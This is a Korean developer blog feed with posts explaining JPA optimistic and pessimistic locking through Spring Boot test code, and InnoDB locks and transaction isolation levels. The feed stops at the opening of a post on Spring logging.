모르는게 많은 개발자

[JPA] 낙관적, 비관적 Lock 개념/예제

Awdsd — Sun, 2 Apr 2023 00:19:54 +0900

이번 포스팅에서는 JPA의 낙관적 잠금과 비관적 잠금을 테스트를 통해 설명하고자 한다

포스팅 내용에 DB Lock 개념도 포함되기 때문에 Lock에 대한 이해가 필요하면 이전 게시글(https://cjw-awdsd.tistory.com/57)을 먼저 읽고 보는 것을 추천합니다.

낙관적 잠금(Optimistic Lock)

락 처리 방법 : @Version

JPA의 @Version 어노테이션을 사용해 엔티티 버전을 관리할 수 있다. @Version 적용이 가능한 타입은 long, integer, short, timestamp이다. 아래는 어노테이션 적용 예시 코드이다.

JPA의 @Version 어노테이션을 사용하면 엔티티의 버전을 관리할 수 있다.

@Entity
public class Member {
    @Id
    @GeneratedValue
    private Long id;

    @Version
    Integer version;
}

낙관적 락 LockMode

None

별도의 옵션을 사용하지 않아도 Entity에 @Version이 적용된 필드만 있을 때 낙관적 락 적용

트랜잭션 시작후 엔티티를 수정하고 트랜잭션이 종료될 때까지 다른 트랜잭션에서 같은 엔티티가 변경되지 않음을 보장.
엔티티가 조회 후 변경될 때 버전도 같이 증가 → 버전이 조회 시점과 다르면 예외 발생

테스트 코드

@Entity
@Getter
@Builder
@AllArgsConstructor
@NoArgsConstructor
public class LockParent {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    @Column(name = "parent_id", nullable = false)
    private Long parentId;
    @Version
    private Integer version;
    private long count;

    public static LockParent ofDefault() {
        return LockParent.builder().count(0L).build();
    }
    public void plusCount() {
        this.count += 1;
    }
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
public class LockTestService {
    private final LockParentRepository lockParentRepository;

    @Transactional
    public void insertLockParent() {
        LockParent lockParent = LockParent.ofDefault();
        this.lockParentRepository.save(lockParent);
    }

    @Transactional
    public void plusCount(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findById(parentId).orElseThrow(() -> new RuntimeException(""));
        lockParent.plusCount();
    }
}

@Repository
public interface LockParentRepository extends JpaRepository<LockParent, Long> {}

@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    @Test
    void Parent_삽입() {
        lockTestService.insertLockParent();
    }

    @Test
    void parent_동시_업데이트() {
        CompletableFuture<Void> task1 = CompletableFuture.runAsync(() -> {
            this.lockTestService.plusCount(1L);
        });
        CompletableFuture<Void> task2 = CompletableFuture.runAsync(() -> {
            this.lockTestService.plusCount(1L);
        });
        CompletableFuture<Void> task3 = CompletableFuture.runAsync(() -> {
            this.lockTestService.plusCount(1L);
        });

        CompletableFuture.allOf(task1, task2, task3).join();
    }
}

쿼리 순서를 보면 다음과 같다.

두개의 트랜잭션에서 SELECT가 먼저 수행되고 UPDATE를 처리하는 것을 볼 수 있다.

테스트 수행시 아래처럼 ObjectOptimisticLockingFailureException 발생

어떻게 다른 트랜잭션에서 Version 변경된 것을 체크하나

UPDATE 쿼리를 보면 WHERE문에 verion=?이 포함되어 있다.
트랜잭션1에서 SELECT 조회한 엔티티의 Version을 WHERE문에 담는다.
하지만 다른 트랜잭션2에서 만약 UPDATE를 해서 version이 변경되었다면 트랜잭션1의 UPDATE WHERE문은 성립하지 않기(Version이 달라지기에)에 변경되는 데이터가 없게 된다. Exception 확인시 Batch update returned unexpected row count from update [0]; actual row count: 0; expected: 1; 변경된 값이 없어 예외가 난 것을 확인할 수 있다.

LockMode.OPTIMISTIC

None은 엔티티 수정시 낙관적 잠금이 발생했지만 OPTIMISTIC은 조회에도 낙관적 잠금이 발생하도록 한다.

조회에도 Version을 체크하고 트랜잭션이 종료될 때까지 다른 트랜잭션에서 변경되지 않음을 보장
dirty read, non-repeatable read 를 방지

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;

        /**
     * LockParent count 증가
     */
    @Transactional
    public void plusCount(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findById(parentId).orElseThrow(() -> new RuntimeException(""));
        lockParent.plusCount();
                log.info("\nplusCount 종료");
    }

    /**
     * LockParent 조회
     */
    public void findParentById(Long parentId) {
        this.lockParentRepository.findById(parentId);
                //1초후 트랜잭션 종료
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
                log.info("\nfindParentById 종료");
    }
}

@Repository
public interface LockParentRepository extends JpaRepository<LockParent, Long> {
    /**
     * OPTIMISTIC 모드로 조회 
     */
    @Override
    @Lock(LockModeType.OPTIMISTIC)
    Optional<LockParent> findById(Long id);
}

/**
 * Optimistic 테스트
 */
@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    @Test
    void Lock_Optimistic_동시_조회_업데이트() {
        CompletableFuture<Void> task2 = CompletableFuture.runAsync(() -> {
            this.lockTestService.findParentById(1L);
        });
        CompletableFuture<Void> task3 = CompletableFuture.runAsync(() -> {
            this.lockTestService.plusCount(1L);
        });

        CompletableFuture.allOf(task2, task3).join();
    }
}

테스트 코드 수행후 발생한 쿼리는 다음과 같다.

findParentById(), plusCount() 모두 트랜잭션 끝날 때 Version을 조회한다는 것을 볼 수 있다.

결과는 아래처럼 예외가 발생한다.

최신 버전이 발견되었다는 내용 즉, Version을 비교할 때 값이 다르기에 예외 발생

LockMode.OPTIMISTIC_FORCE_INCREMENT

OPTIMISTIC_FORCE_INCREMENT 모드는 엔티티를 읽기만 해도 Version을 업데이트 한다.

@Repository
public interface LockParentRepository extends JpaRepository<LockParent, Long> {
    @Override
    @Lock(LockModeType.OPTIMISTIC_FORCE_INCREMENT)
    List<LockParent> findAll();

    @Query("SELECT lp FROM LockParent lp join fetch lp.lockChildren where lp.parentId = :parentId")
    @Lock(LockModeType.OPTIMISTIC_FORCE_INCREMENT)
    LockParent findByIdWithChild(@Param("parentId") Long parentId);

    @Query("SELECT lp FROM LockParent lp WHERE lp.parentId = :parentId")
    @Lock(LockModeType.OPTIMISTIC_FORCE_INCREMENT)
    LockParent findByIdForceIncrement(@Param("parentId") Long parentId);
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;
    private final EntityManager em;

    /**
     * lockParent Version 증가
     * lockChild Version 증가 X
     */
    @Transactional
    public void findParentByIdForceIncrement(Long parentId) {
        LockParent lockParent = this.em.find(LockParent.class, parentId, LockModeType.OPTIMISTIC_FORCE_INCREMENT);
        List<LockChild> lockChildren = lockParent.getLockChildren();
    }

    /**
     * 모든 Parent Version 증가
     */
    @Transactional
    public void findAllForceIncrement() {
        List<LockParent> lockParents = this.lockParentRepository.findAll();
    }

    /**
     * fetch join LockParent Version 같이 증가
     */
    @Transactional
    public void findParentByIdWithChild(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdWithChild(parentId);
    }

    /**
     * 엔티티 값이 변경된 경우 Version 2 증가
     * 값을 업데이트 하면서 한번 증가
     * 트랜잭션이 끝나고 강제 한번 증가
     * 총 2번
     */
    @Transactional
    public void updateParentForceIncrement(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdForceIncrement(parentId);
        lockParent.plusCount();
    }
}

@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    @Test
    void Lock_Optimistic_Force_Increment_Find_Parent() {
        this.lockTestService.findParentByIdForceIncrement(1L);
    }

    @Test
    void Lock_Optimistic_Force_Increment_Find_All() {
        this.lockTestService.findAllForceIncrement();
    }

    @Test
    void Lock_Optimistic_Force_Increment_Find_Fetch_Join() {
        this.lockTestService.findParentByIdWithChild(1L);
    }

    @Test
    void Lock_Optimistic_Force_Increment_Update() {
        this.lockTestService.updateParentForceIncrement(1L);
    }
}

Lock_Optimistic_Force_Increment_Find_Parent()

Parent Version 1 증가

Lock_Optimistic_Force_Increment_Find_Fetch_Join

Fetch Join을 통해 Parent, Child Version 1씩 증가

Lock_Optimistic_Force_Increment_Update

Version 2 증가

Lock_Optimistic_Force_Increment_Find_All

가져온 엔티티의 모든 Version 증가

OPTIMISTIC_FORCE_INCREMENT 사용 이유에 대한 stackoverflow
https://stackoverflow.com/questions/13581603/jpa-and-optimistic-locking-modes

비관적 잠금(Pessimistic Lock)

비관적 잠금 모드

LockModeType.PESSIMISTIC_READ

SELECT 구문에 FOR SHARE 구문을 추가하여 S-Lock 획득

아래 동시성 상황에서 DeadLock 이 발생할 수 있다.

@Repository
public interface LockParentRepository extends JpaRepository<LockParent, Long> {

    @Query("SELECT lp FROM LockParent lp where lp.parentId = :parentId")
    @Lock(LockModeType.PESSIMISTIC_READ)
    LockParent findByIdPessimisticRead(@Param("parentId") Long parentId);
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;
    private final EntityManager em;

    /**
     * PESSIMISTIC_READ 모드로 LockParent 읽은 후
     * 0.5초 대기후 count Update

     */
    @Transactional
    public void findByParentIdPessimisticReadAndUpdate(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdPessimisticRead(parentId);
        //0.5초 대기
        try {
            Thread.sleep(500);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
        lockParent.plusCount();
    }
}

@SpringBootTest
public class LockTests {

    @Autowired
    LockTestService lockTestService;

    /**
     * PESSIMISTIC_READ 모드로 LockParent 읽은 후
     * 0.5초 대기후 count Update
     * 
     * 1. Transaction1 Select For Share 구문 수행
     * 2. Transaction2 Select For Share 구문 수행
     * 3. Transaction1 Update 수행 (Transaction2의 Shared Lock으로 인해 대기)
     * 4. Transaction2 Update 수행 (Transaction1의 Shared Lock으로 인해 대기)
     * 결과: 데드락 발생
     */
    @Test
    void Lock_Pessimistic_Read_Find_And_Update() {
        CompletableFuture<Void> task1 = CompletableFuture.runAsync(() -> {
            this.lockTestService.findByParentIdPessimisticReadAndUpdate(1L);
        });
        CompletableFuture<Void> task2 = CompletableFuture.runAsync(() -> {
            this.lockTestService.findByParentIdPessimisticReadAndUpdate(1L);
        });

        CompletableFuture.allOf(task1, task2).join();
    }
}

아래처럼 SELECT 구문에 FOR SHARE 구문이 추가되고 DeadLock 발생하는 것을 확인할 수 있다.

Rollback된 트랜잭션을 제외한 다른 트랜잭션 UPDATE만 수행된다.

LockModeType.PESSIMISTIC_WRITE

SELECT 구문에 FOR UPDATE 구문을 추가하여 X-Lock 획득

PESSIMISTIC_READ와 달리 SELECT 구문에서 X-Lock을 획득하기에 하나의 트랜잭션에서 SELECT FOR UPDATE가 수행되면 다른 트랜잭션에서는 SELECT FOR UPDATE 구문을 날릴 때 대기하게 된다.

@Repository
public interface LockParentRepository extends JpaRepository<LockParent, Long> {
    @Query("SELECT lp FROM LockParent lp where lp.parentId = :parentId")
    @Lock(LockModeType.PESSIMISTIC_WRITE)
    LockParent findByIdPessimisticWrite(@Param("parentId") Long parentId);
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;
    private final EntityManager em;

    /**
     * PESSIMISTIC_WRITE 모드로 LockParent 읽은 후
     * 0.5초 대기후 count Update
     */
    @Transactional
    public void findByParentIdPessimisticWriteAndUpdate(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdPessimisticWrite(parentId);
        //0.5초 대기
        try {
            Thread.sleep(500);
        } catch (InterruptedException e) {
            throw new RuntimeException(e);
        }
        lockParent.plusCount();
    }
}

@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    /**
     * PESSIMISTIC_WRITE 모드로 LockParent 읽은 후
     * 0.5초 대기후 count Update
     *
     * 1.Transaction1 Select For Update 구문 수행
     * 2.Transaction2 Select For Update 구문 수행 (Transaction1 X-Lock으로 인해 대기)
     * 3.Transaction3 Select For Update 구문 수행 (Transaction1 X-Lock으로 인해 대기)
     * 4.Transaction1 Update 수행(X-lock 해제)
     * 5.Transaction2 Update 수행
     * 6.Transaction3 Update 수행
     * 결과: 3개의 트랜잭션 정상 처리
     */
    @Test
    void Lock_Pessimistic_Write_Find_And_Update() {
        CompletableFuture<Void> task1 = CompletableFuture.runAsync(() -> {
            this.lockTestService.findByParentIdPessimisticWriteAndUpdate(1L);
        });
        CompletableFuture<Void> task2 = CompletableFuture.runAsync(() -> {
            this.lockTestService.findByParentIdPessimisticWriteAndUpdate(1L);
        });
        CompletableFuture<Void> task3 = CompletableFuture.runAsync(() -> {
            this.lockTestService.findByParentIdPessimisticWriteAndUpdate(1L);
        });

        CompletableFuture.allOf(task1, task2, task3).join();
    }
}

LockModeType.PESSIMISTIC_FORCE_INCREMENT

PESSMISTIC_WRITE와 동일하게 FOR UPDATE 구문이 추가되고 더불어 OPTIMISTIC_FORCE_INCREMENT 모드처럼 버전을 사용하면서 엔티티를 읽기만 해도 Version을 업데이트 한다

@Repository
public interface LockParentRepository extends JpaRepository<LockParent, Long> {

    @Query("SELECT lp FROM LockParent lp join fetch lp.lockChildren where lp.parentId = :parentId")
    @Lock(LockModeType.PESSIMISTIC_FORCE_INCREMENT)
    LockParent findByIdPessimisticForceIncrement(@Param("parentId") Long parentId);
}

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
@Slf4j
public class LockTestService {
    private final LockParentRepository lockParentRepository;
    private final EntityManager em;

    @Transactional
    public void findByParentByIdWithChildPessimisticForceIncrement(Long parentId) {
        LockParent lockParent = this.lockParentRepository.findByIdPessimisticForceIncrement(parentId);
    }
}

@SpringBootTest
public class LockTests {
    @Autowired
    LockTestService lockTestService;

    @Test
    void Lock_Pessimistic_Force_Increment_Find() {
        this.lockTestService.findByParentByIdWithChildPessimisticForceIncrement(1L);
    }
}

Mysql 8.0 버전부터 nowait을 지원하는데 PESSIMISTIC_FORCE_INCREMENT 모드는 nowait을 지원할 경우

쿼리에 nowait 포함하여 쿼리를 수행한다.

nowait : 쿼리를 실행하며, lock이 걸린 부분이 있다면, 기다리지 않고 실패를 시킨다.

아래는 쿼리를 동시에 3번 수행하고 nowait 에러가 발생하는 상황이다.

@Test
    void Lock_Pessimistic_Force_Increment_Find() {
        CompletableFuture<Void> task1 = CompletableFuture.runAsync(() -> {
            this.lockTestService.findByParentByIdWithChildPessimisticForceIncrement(1L);
        });
        CompletableFuture<Void> task2 = CompletableFuture.runAsync(() -> {
            this.lockTestService.findByParentByIdWithChildPessimisticForceIncrement(1L);
        });
        CompletableFuture<Void> task3 = CompletableFuture.runAsync(() -> {
            this.lockTestService.findByParentByIdWithChildPessimisticForceIncrement(1L);
        });

        CompletableFuture.allOf(task1, task2, task3).join();
    }

참고

https://willbfine.tistory.com/576?category=971447

https://hudi.blog/jpa-concurrency-control-optimistic-lock-and-pessimistic-lock/

Transaction & InnoDB Lock 개념/예제

Awdsd — Thu, 20 Oct 2022 23:53:04 +0900

현업 개발에서 JPA또는 Query를 짜면서 DB작업을 해오면서 최근에 DB에 대한 지식이 부족한 것 같아 이번에 트랜잭션과 Lock 관련된 내용과 예제를 정리해놓으려한다.

공부하면서 정리하다보니 잘못된 정보가 있을 수 있다. 만약 잘못된 내용이 있다면 댓글로 알려주시길 바랍니다..

Transaction이란?

DB의 상태를 변환시키는 하나의 논리적 기능을 수행하기 위한 작업의 단위 또는 한꺼번에 수행되어야할 일련의 연산

다시 말하면 여러 SELECT, UPDATE, DELETE SQL 구문이 모두 처리되어야하는 하나의 프로세스가 있다면 이 프로세스가 완전히 성공하거나 중간에 실패하면 프로세스를 실행하기 전 상태로 롤백하는 기능이다.

Transaction 특징(ACID)

Atomicity(원자성)

트랜잭션이 DB에 모두 반영 또는 전혀 반영되지 않아야함
트랜잭션 내 모든 명령은 완벽히 수행돼야하며 하나라도 오류가 발생하면 전부 취소 돼야함

Consistency(일관성)

트랜잭션의 작업 처리 결과가 항상 일관성이 있어야함

Isloation(독립성)

둘 이상의 트랜잭션이 동시에 실행되고 있을 경우 어떤 하나의 트랜잭션이라도 다른 트랜잭션 연산에 끼어들 수 없음
수행 중인 트랜잭션은 완전히 완료될 때까지 다른 트랜잭션에서 수행 결과를 참조할 수 없음

Durability(지속성)

트랜잭션이 성공적으로 완료됐을 경우, 결과는 영구적으로 반영됨

Lock

DB Isolation level을 설명하기 전에 InnoDB에서 사용 하는 Lock의 종류를 먼저 설명하고자 한다.

Lock이란 ACID 원칙과 동시성을 최대한 보장하기 위한 방법이다.

Lock 종류는 다음과 같다

Shared and Exclusive Locks
Intention Locks
Record Locks
Gap Locks
Next-Key Locks
AUTO-INC Locks

1. Shared and Exclusive Locks (Row-Level Lock)

테이블 행(Row)마다 걸리는 Lock을 Row-Level Lock(행 기반)이라 하고,

Shared Lock(S-Lock), Exclusive Lock(X-Lock) 두 종류가 있다.

S-Lock은 행을 읽기(read) 위해 획득해야하는 Lock이다.

일반적인 SELECT 구문은 Lock을 획득하지 않아도 읽기가 가능하다.

하지만 SELECT FOR SHARED등과 같은 구문은 각 Row에 S-Lock을 건다.

X-Lock 은 쓰기(Write)에 대한 Lock이다. 즉, DELETE, UPDATE 등을 수행할 때 걸린다.

또한 SELECT FOR UPDATE 또한 X-Lock을 건다.

S-Lock 과 X-Lock은 다음과 같은 특징을 가진다.

특정 Row에 S-Lock을 걸 경우 다른 트랜잭션도 해당 Row에 S-Lock을 걸 수 있다. 즉 여러 트랜잭션에서 SELECT FOR SHARED구문을 사용해 같은 행을 동시에 읽을 수 있다.
특정 Row 에 S-Lock을 걸 경우 다른 트랜잭션이 해당 Row에 X-Lock을 걸 수 없다. 즉 S-Lock이 걸린 행에는 UPDATE, DELETE을 수행할 수 없다.
특정 Row에 X-Lock을 걸 경우 다른 트랜잭션은 S-Lock, X-Lock 모두 걸 수 없다. 즉 수정, 삭제되는 Row는 다른 트랜잭션에서 SELECT FOR SHARE UPDATE, DLETE 모두 불가능하다.

정리하면 S-Lock끼리는 서로 같은 Row를 접근할 수 있지만 X-Lock 걸린 Row는 무조건 해당 트랜잭션에서만 접근 가능하다.

2. Intention Locks

InnoDB는 multiple granularity lock(MGL)을 지원한다. MGL은 Row Lock 과 Table Lock이 공존하는 것을 허용한다.

Intention Lock은 *Table-Level Lock* 을 의미한다.
Intention Lock은 두가지가 있다.

Intention Shared Lock(IS)
Intention Exclusive Lock(IX)

SELECT FOR SHARED 구문이 실행되면 테이블에 IS 를 걸고 나서 S-Lock 걸린다.

IS 는 S-Lock 을 걸 의향이 있음을 의미한다.

SELECT FOR UPDATE, INSERT, UPDATE, DELETE 구문이 실행되면 테이블에 IX 걸고 나서 X-Lock이 걸린다.

IX 또한 X-Lock을 걸 의향이 있음을 의미한다.

IX, IS 서로는 동시에 접근 가능하지만 S-Lock, X-Lock을 걸 경우 접근 제어를 하게됨

EX) 특정 Row를 수정할 때 다른 트랜잭션에서 해당 Row를 삭제하는 경우 각 트랜잭션은 IX을 가지지만

X-Lock은 수정 트랜잭션이 가지고 있기에 삭제 트랜잭션은 접근할 수 없다.

LOCK TABLES, ALTER TABLE, DROP TABLE 구문이실행되면 IS, IX를 모두 막는 Lock이 걸린다.

반대로 IS, IX 걸려있는 테이블에는 위 구문을 실행할 수 없다

그렇다면 왜 Intention Lock을 사용할까? 굳이 IX, IS를 사용하지 않더라도
X-Lock, S-Lock선에서 접근 못하게 막을 수 있을텐데?

https://stackoverflow.com/questions/33166066/why-do-we-need-intent-lock

위 Stackoverflow의 답변을 이해하면 다음과 같다
해당 테이블에 X-Lock, S-Lock가 존재한다는 것을 즉시 알 수 있음(해당 테이블 자체에 대한 변경이 필요할 때 row lock을 모두 살펴서 X-Lock,S-Lock 가 존재하는지 확인하는 것은 성능상 좋지 않음)

즉 간단히 말하면 Intention Lock이 있는 이유는 트랜잭션이 해당 테이블에 대해 잠금을 획득했는지 여부를 바로 알기 위해서다.

아래는 각 Lock들간의 호환성을 나타낸다.

	X	IX	S	IS
X	Conflict	Conflict	Conflict	Conflict
IX	Conflict	Complatible	Conflict	Complatible
S	Conflict	Conflict	Complatible	Complatible
IS	Conflict	Complatible	Complatible	Complatible

3. Record Lock

Record Lock은 PK, Unique Index 등을 통해 Index 참조로 접근하는 데이터에 거는 Lock이다.

SELECT c1 FROM t where c1 = 10 FOR UPDATE; 구문을 수행하면 t.c1=10인 Index에 X-Lock이 걸린다.

만약 Index가 없으면 InnoDB에서 가상의 Clustered Index를 생성해 해당 Index를 통해 Lock을 건다.

4. Gap Locks

Gap Lock 은 인덱스 레코드들 사이에 있는 영역에 대한 잠금이다.

아래와 같이 id=3,7 만 있는 테이블에 Index가 걸려있다 해보자.

    Index table               Database
-------------------          ---------
| id  | row addr  |          |  id   |
-------------------          ---------
|  3  | addr to 3 |--------->|   3   |
|  7  | addr to 7 |--------->|   7   |
-------------------          ---------

이 상태에서는 id < 3, 3 < id < 7, 7 < id 부분에 Index Record가 없는데 이 부분을 Gap이라 하고 여기에 Lock을 거는 것을 Gap Lock 이라 한다.

Gap Lock은 해당 Gap에 새로운 Row가 1*삽입*되는 것을 방지한다.

5. Next-Key Lock

Next-Key Lock은 Gap Lock, Record Lock 을 함께 사용하는 Lock이다.

해당 Lock은 REPEATABLE READ에서 발생하는 Phantom Read를 막기 위해 사용된다.

좀 더 자세히 설명하면 Next-Key Lock은 Record-Lock이 걸린 Row의 앞 뒤 인덱스까지 Gap Lock을 거는 것을 의미한다.

예를 들어 위 Gap Lock처럼 Id=3,7 있는 Table에 Id=4 FOR UPDATE를 검색후 다른 세션에서 Id=5 Insert를 시도하면 Lock이 걸리게 된다.

이유는 Id=4를 기준으로 앞뒤의 가장 근접한 Index Row는 3,7이기에 3 < x < 4, 4 < x < 7에 Gap Lock이 걸리기 때문에 Id=5 Insert에 Lock이 걸린다

Gap Lock, Next-Key Lock 테스트를 봐보자.

테스트

C Table에 위와 같이 데이터 존재

상황1 : BETWEEN 3 AND 7 일시 Id=4 Insert Lock

Session2에서 BETWEEN 3 AND 7 수행 후 Session1에서 Id=4 Insert 수행시 Gap Lock 걸린 것을 확인

상황2 : BETWEEN 5 AND 5 일시 Id=4, 6 Insert

위 처럼 Session2에서 BETWEEN 5 AND 5 수행 후 Session1에서 Id=4, Id=6인 Insert를 수행하면 Gap Lock이 걸리는 것을 확인

→ Next-Key Lock으로 인해 Id=5의 전, 후 Index Row Id=3, 7 Record Lock과 3 < gap lock < 5 < gap lock < 7 이 걸리기 때문이다.

상황4(중요) : BETWEEN 3 AND 7 수행 후 Id=2 Insert , BETWEEN 2 AND 7 수행 후 Id=1,9 Insert

위 사진을 보면 Id=2를 삽입시 Gap Lock 없이 바로 수행되고, Id=1, 9 삽입 할 때는 Gap Lock이 걸린 것을 확인할 수 있다. 자세한 내용은 밑에서 설명하겠다

상황5 : BETWEEN 3 AND 7 수행후 Id=6,7 검색

위 처럼 Session2에서 BETWEEN 3 AND 7 수행 후 Session1에서 Id=6 FOR UPDATE(X-Lock) 구문이 실행되는 것을 확인. → Gap Lock은 Row가 Insert되는 것을 방지하기 때문

하지만 위 처럼 id=7 검색하면 X-Lock이 걸리는 것을 확인 → id=7은 Index Record이므로 Record Lock이 걸림

상황4 설명

상황4 테스트를 보고 의아한 사람이 있을 수 있다. 내가 그랬기 때문이다. 내가 처음에 이해한 Gap Lock대로라면 3~7 범위로 잡혔다면

3의 이전 Index(Infi)와 7의 다음 Index(Infinite) 즉 전 범위에 Gap Lock이 걸릴꺼라 생각했는데 3~7범위에 Id=2가 삽입됐다. 하지만 2~7범위에서 Id=1,9는 모두 Gap Lock이 걸렸다. 그래서 좀 더 생각해보면서 가설을 세웠다.

가설 : 마지막 Index의 다음 값(+)까지 Gap Lock 건다

3~7: 마지막 인덱스는 3→7 , 7→Infi 이렇게 될 경우 Id=1,2는 삽입되지만 7이후로는 모두 Gap Lock

2~7: 2까지 봤을 때의 이전 Index는 Infi(3과 7이 Index이기 때문에 2이전 Index는 Infi) 이럴 경우 전 범위 Gap Lock(상황4의 Id=1,9 Gap Lock걸린 이유)

5~7: 5까지의 봤을 때의 이전 Index는 3, 7 다음 Index(Infi) 즉 3~Infi Gap Lock Id=4,9 삽입 안되는 것 확인

5~6: 5 이전 Index(3), 6이후 Index(7) → 3~7범위가 됨 Id=2,8 삽입되는 것 확인

정리해보면 2~7 범위인 경우 2를 기준으로 Index(Infi)이므로 Infi~3 Gap Lock, 7을 기준으로 Index(7)~Index(Infi)까지

Gap Lock을 한다는 것을 알 수 있다.

6. Lock이 해제되는 타이밍

Transaction이 진행되는 동안 걸린 많은 Lock들은 Transaction이 Commit되거나 Rollback될 때 함께 해제된다.

Transaction Isolation Level

이제 Transaction Isolation Level에 대해 알아보자.

READ UNCOMMITTED(커밋되지 않은 읽기)
READ COMMITTED(커밋된 읽기)
REPEATABLE READ(반복 가능한 읽기)
SERIALIZABLE(직렬화 가능)

Consistent Read

Tansaction Isolation Level을 얘기하기전에 Consistent Read 개념에 대해 알아보자.

Consistent Read : SELECT 구문을 수행할 때 현재 DB 값이 아닌 특정 시점의 DB Snapshot을 읽어오는 것.

InnoDB 엔진은 쿼리를 실행할 때마다 Log를 남기게되는데 Consistent Read는 Log를 이용해 특정 시점의 DB Snapshot을 복구해 가져온다.

Read Uncommited

각 트랜잭션에서의 변경 내용이 Commit이나 Rollback 여부에 상관 없이 다른 트랜잭션에서 노출되는 Level

위 사진을 보면 Isolation Level을 Read Uncommited로 변경후 Session1에서 Insert를 수행후 Commit, Rollback을 수행하지 않았지만 Session2에서 조회시 Id=1이 조회되는 것을 확인할 수 있다.

Rollback 수행후 다시 조회하면 Id=1은 삭제된 것을 확인할 수 있다.

이렇게 Commit되지 않은 데이터를 다른 트랜잭션에서 조회되는 현상을 Dirty Read 라 한다.

Dirty Read가 발생하면 데이터의 정합성에 많은 문제가 발생할 확률이 높기에 거의 사용하지 않는 Level이다.

Read Commited

Commit 된 데이터만 보이는 수준의 Isolation을 보장하는 Level

Read Commited는 트랜잭션 안에서 SELECT 구문을 수행할 때마다 Snapshot을 새로 만든다.

트랜잭션A가 SELECT 수행 후 트랜잭션B에서 데이터 변경후 Commit한 다음 트랜잭션A가 다시 SELECT를 수행하면 데이터가 변경된 것을 감지할 수 있다.

여기서 내가 생각한 의문은 왜 굳이 Select마다 Snapshot을 새로 읽냐는 것이었다

일단 InnoDB는 Insert,Update등으로 수정된 데이터를 Commit을 하지 않아도 실제 DB에 적용시킨다.

Read Commited == Commit된 데이터만 보여준다

즉 트랜잭션에서 Select를 할 때마다 다른 트랜잭션에서 Commit된 데이터를 알기 위해서는 DB Snapshot을 계속 읽어야한다.

** Read Commited는 Gap Lock을 사용하지 않는다. **

이로 인해 Read Commited에서는 Phantom Read가 발생할 수 있다.

→ Phantom Read는 트랜잭션 안에서 같은 Select를 두 번 수행했을 때 처음 수행때는 안보였던 Row가 두번째 수행때 나타나는 것을 의미한다.

위 사진을 보면 Session1 에서 Insert를 수행 후 Session2에서 Select를 수행하면 아직 Commit이 되지 않았기 때문에 Id=1 Row가 노출되지 않는 것을 확인할 수 있다.

이제 Session1에서 Commit후 Session2에서 Select를 수행하면 Id=1 Row가 노출되는 것을 확인할 수 있다.

만약 아래처럼 쿼리가 수행한다면 Session2에서는 없던 Phantom Read가 발생하게 된다.

또한 위 사진을 통해 Session2에 Between 3 And 7을 수행해도 Gap Lock이 걸리지 않기에 Id=6이 삽입되는 것을 확인할 수 있다.

Repeatable Read

트랜잭션에서 반복된 Select를 수행해도 값이 변하지 않을정도로 Isolation을 보장하는 Level

Repeatable Read 는 트랜잭션이 처음 Select를 수행한 시간을 기록하여 이후 Select마다 해당 시점을 기준으로 Consistent Read를 수행한다.

이로 인해 다른 트랜잭션에서 데이터 삽입,수정후 Commit되더라도 변경된 데이터는 보이지 않는다.

또한 Read Commited에서 사용되지 않는 Gap Lock을 Repeatable Read에서는 Lock을 사용하는 구문에서 활용된다.

위 사진 Session2에서 Select For Share를 통해 c Table 전체에 Gap Lock을 걸었기에 Session1에서 Insert구문을 수행시 Lock이 걸리는 것을 확인할 수 있다. 그렇기에 Session2에서 Phantom Read가 발생하지 않는다(Commit할 때까지 Gap Lock이 걸려있기에)

Serializable

한 트랜잭션을 다른 트랜잭션으로부터 완전히 분리하는 Level

Serializable은 기본적으로 Select 구문이 모두 Select For Share 로 변경된다.

이로 인해 DeadLock이 쉽게 걸릴 수 있다.

위 사진처럼 각 세션이 Select 구문을 날려 S-Lock을 획득하고 서로 Update를 수행하면 DeadLock이 걸리는 것은 확인할 수 있다.

참고

https://code-lab1.tistory.com/51

https://suhwan.dev/2019/06/09/transaction-isolation-level-and-lock/

https://singun.github.io/2019/03/10/mysql-innodb-locking/

https://velog.io/@soyeon207/DB-Lock-총정리-1-InnoDB-의-Lock.

https://www.letmecompile.com/mysql-innodb-lock-deadlock/

[스프링] 로깅 개념/설정 예제(feat. Logback)

Awdsd — Mon, 21 Mar 2022 23:40:14 +0900

스프링 개발을 하다보면 자연스레 Lombok의 @Slf4j 를 사용해 log.info() 등 로그를 남겼다. 이번 기회에 Jcl, Log4j, Slf4j, Logback용어 정리와 많이 사용되는 Logback 설정에 대해 정리해놓고자한다.

스프링 부트는 어떤 Logger를 사용하고 있나

스프링에는 크게 Jcl(Jakarta Common Logging), Slf4j 두개의 로깅 추상화 라이브러리가 있다.

두개 모두 인터페이스만 존재하기에 구현체가 필요한데 Jcl의 구현체는 Log4j, Slf4j의 구현체는 Logback이 있다.

스프링 부트는 기본적으로 Jcl에 구현체 Logback 이 사용된다.
spring-boot-starter 의존성에 spring-boot-starter-logging이 들어있고 안에는 logback 의존성이 들어있다.

하지만 Logback은 Slf4j의 구현체인데 어떻게 같이 사용되나 궁금할 수 있다.

